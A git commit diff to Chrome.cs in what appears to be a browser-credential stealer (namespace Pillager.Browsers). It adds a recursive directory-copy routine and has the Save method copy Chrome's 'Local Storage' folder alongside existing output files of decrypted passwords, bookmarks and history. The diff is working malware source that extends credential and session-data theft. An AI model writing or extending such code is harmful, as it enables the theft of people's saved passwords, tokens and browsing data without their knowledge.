Update Chrome.cs

This commit is contained in:
簞純 2023-09-25 18:47:37 +08:00
parent 4bd1c5c623
commit bf0e8f7e50
1 changed files with 29 additions and 0 deletions

View File

@ -206,6 +206,31 @@ namespace Pillager.Browsers
return stringBuilder.ToString();
}
static void CopyDirectory(string sourceDir, string destinationDir, bool recursive)
{
var dir = new DirectoryInfo(sourceDir);
if (!dir.Exists)
throw new DirectoryNotFoundException($"Source directory not found: {dir.FullName}");
DirectoryInfo[] dirs = dir.GetDirectories();
Directory.CreateDirectory(destinationDir);
foreach (FileInfo file in dir.GetFiles())
{
string targetFilePath = Path.Combine(destinationDir, file.Name);
file.CopyTo(targetFilePath);
}
if (recursive)
{
foreach (DirectoryInfo subDir in dirs)
{
string newDestinationDir = Path.Combine(destinationDir, subDir.Name);
CopyDirectory(subDir.FullName, newDestinationDir, true);
}
}
}
public void Save(string path)
{
if (MasterKey==null)
@ -222,6 +247,10 @@ namespace Pillager.Browsers
File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage")))
{
CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"),true);
}
Console.WriteLine("Files wrote to " + savepath);
}
}